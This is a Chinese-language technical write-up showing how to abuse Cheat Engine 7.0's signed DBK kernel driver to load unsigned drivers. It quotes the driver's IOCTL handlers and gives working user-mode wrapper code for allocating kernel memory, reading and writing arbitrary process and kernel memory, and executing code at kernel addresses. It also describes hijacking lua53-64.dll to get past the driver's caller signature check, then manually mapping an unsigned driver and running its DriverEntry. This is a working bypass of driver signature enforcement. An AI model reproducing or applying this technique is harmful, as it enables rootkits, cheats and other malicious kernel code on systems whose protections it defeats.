一
分析CE7.0的DBK驅動

CE的DBK驅動提供了一些很直接的IOCTL接口,包括在分配內核中的非分頁內存、執行內核代碼、讀寫任意內存地址、建立mdl映射等,下面展示了DBK驅動通過IOCTL接口提供功能的部分源碼。

這里提供了分配/釋放非分頁內存的功能:

case IOCTL_CE_ALLOCATEMEM_NONPAGED:
    {
        struct input
        {
            ULONG Size;
        } *inp;
        PVOID address;
        int size;
        inp=Irp->AssociatedIrp.SystemBuffer;
        size=inp->Size;
        address=ExAllocatePool(NonPagedPool,size);
        *(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
        *(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
        
        if (address==0)
            ntStatus=STATUS_UNSUCCESSFUL;
        else
        {
            DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);					
            
            DbgPrint("address=%p\n", address);
            RtlZeroMemory(address, size);
        
            ntStatus=STATUS_SUCCESS;
        }
        break;
    }
case IOCTL_CE_FREE_NONPAGED:
    {
        struct input
        {
            UINT64 Address;
        } *inp;
        inp = Irp->AssociatedIrp.SystemBuffer;
        ExFreePool((PVOID)(UINT_PTR)inp->Address);
        ntStatus = STATUS_SUCCESS;
        break;
    }

這里提供了給定內核地址就能直接執行內核代碼的功能:

case IOCTL_CE_EXECUTE_CODE:
    {		
        typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
        PARAMETERLESSFUNCTION functiontocall;
        struct input
        {
            UINT64	functionaddress; //function address to call
            UINT64	parameters;
        } *inp=Irp->AssociatedIrp.SystemBuffer;
        DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
        functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
        __try
        {
            ntStatus=functiontocall(inp->parameters);
            DbgPrint("Still alive\n");
            ntStatus=STATUS_SUCCESS;
        }
        __except(1)
        {
            DbgPrint("Exception occured\n");
            ntStatus=STATUS_UNSUCCESSFUL;
        }
        break;
    }

之所以DBK驅動提供如此直白的接口但微軟還能給簽名,是因為DBK驅動做了一點基本的防護,在進程打開DBK驅動創建的設備對象時,它會通過進程文件對應的sig文件來校驗進程文件的數字簽名,如果校驗失敗,會打開設備對象失敗,從而阻止其他進程使用DBK驅動提供的功能,這也就是為什么CE的安裝目錄下有sig文件。

二
思路

我發現CE由于需要加載lua腳本,所以導入表里有lua53-64.dll,可以通過dll劫持讓CE在啟動之前就加載自己寫的dll,dll里加載DBK驅動,并打開其創建的設備對象,之后內存加載自己寫的未簽名驅動并運行DriverEntry,雖然DriverEntry不是在System進程下運行的但好歹是跑了R0的代碼。

三
詳細步驟

1、加載DBK驅動

CreateService創建服務,但在OpenService打開服務之前需要寫4個注冊表項,不然DBK驅動會加載失敗。

// 寫相關注冊表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
    LOG("RegOpenKeyEx failed");
    CloseServiceHandle(hService);
    CloseServiceHandle(hMgr);
    return false;
}
std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));

2、打開設備對象

打開設備對象后,需要將之前創建的4個注冊表項刪除掉。

3、利用DBK驅動提供的功能

下面是分配/釋放內核中的非分頁內存的代碼:

UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
    struct InputBuffer
    {
        ULONG size;
    };
#pragma pack()
    InputBuffer inputBuffer;
    inputBuffer.size = size;
    UINT64 allocAddress = 0LL;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
        return 0;
    }
    return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
    };
#pragma pack()
    InputBuffer inputBuffer;
    inputBuffer.address = allocAddress;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
        return false;
    }
    return true;
}

下面是讀寫任意進程的內存地址的代碼(包括R0地址):

bool DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size, bool failToContinue)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 processid;
        UINT64 startaddress;
        WORD bytestoread;
    };
#pragma pack()
    UINT64 remaining = size;
    UINT64 offset = 0;
    do
    {
        UINT64 toRead = remaining;
        if (remaining > 4096)
        {
            toRead = 4096;
        }
        InputBuffer inputBuffer;
        inputBuffer.processid = pid;
        inputBuffer.startaddress = fromAddr + offset;
        inputBuffer.bytestoread = toRead;
        DWORD retSize;
        if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr + offset), toRead, &retSize, NULL))
        {
            if (!failToContinue)
            {
                LOG("DeviceIoControl IOCTL_CE_READMEMORY failed");
                return false;
            }
        }
        remaining -= toRead;
        offset += toRead;
    } while (remaining > 0);
    return true;
}
bool DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 processid;
        UINT64 startaddress;
        WORD bytestowrite;
    };
#pragma pack()
    UINT64 remaining = size;
    UINT64 offset = 0;
    do
    {
        UINT64 toWrite = remaining;
        if (remaining > (512 - sizeof(InputBuffer)))
        {
            toWrite = 512 - sizeof(InputBuffer);
        }
        InputBuffer* pInputBuffer = (InputBuffer*)malloc(toWrite + sizeof(InputBuffer));
        if (NULL == pInputBuffer)
        {
            LOG("malloc failed");
            return false;
        }
        pInputBuffer->processid = pid;
        pInputBuffer->startaddress = targetAddr + offset;
        pInputBuffer->bytestowrite = toWrite;
        memcpy((PCHAR)pInputBuffer + sizeof(InputBuffer), (PCHAR)srcAddr + offset, toWrite);
        DWORD retSize;
        if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer) + toWrite), NULL, 0, &retSize, NULL))
        {
            LOG("DeviceIoControl IOCTL_CE_WRITEMEMORY failed");
            free(pInputBuffer);
            return false;
        }
        free(pInputBuffer);
        remaining -= toWrite;
        offset += toWrite;
    } while (remaining > 0);
    return true;
}

下面是執行內核地址的代碼:

bool DBK_ExecuteCode(UINT64 address)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
        UINT64 parameters;
    };
#pragma pack()
    InputBuffer inputBuffer;
    inputBuffer.address = address;
    inputBuffer.parameters = 0;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_EXECUTE_CODE failed");
        return false;
    }
    return true;
}

4、將未簽名驅動映射到內核內存中并修復其RVA以及導入表,之后運行其DriverEntry。

(具體代碼太多了,就不展示了)

5、創建驅動項目

要注意的是,由于這個驅動運行的方式不正常,所以要將入口點改為DriverEntry,還要禁用GS防護,這樣才能避免SecurityCookie引發的crash問題。

我在里面簡單打印了點日志用于驗證:

extern "C" NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING pRegistryPath)
{
    KdPrint(("Enter DriverEntry\n"));
    KdPrint(("Leave DriverEntry\n"));
    return STATUS_SUCCESS;
}


四
結果

最終目錄如下:

管理員權限啟動richstuff-x86_64.exe,它會在運行前加載lua53-x64.dll,之后dll會加載richstuffk64.sys驅動并打開其創建的設備對象,再通過IO控制其映射MyDriver.sys到內存中并調用其DriverEntry。

上圖中的成果見附件CECheater.7z。

代碼見附件code.7z。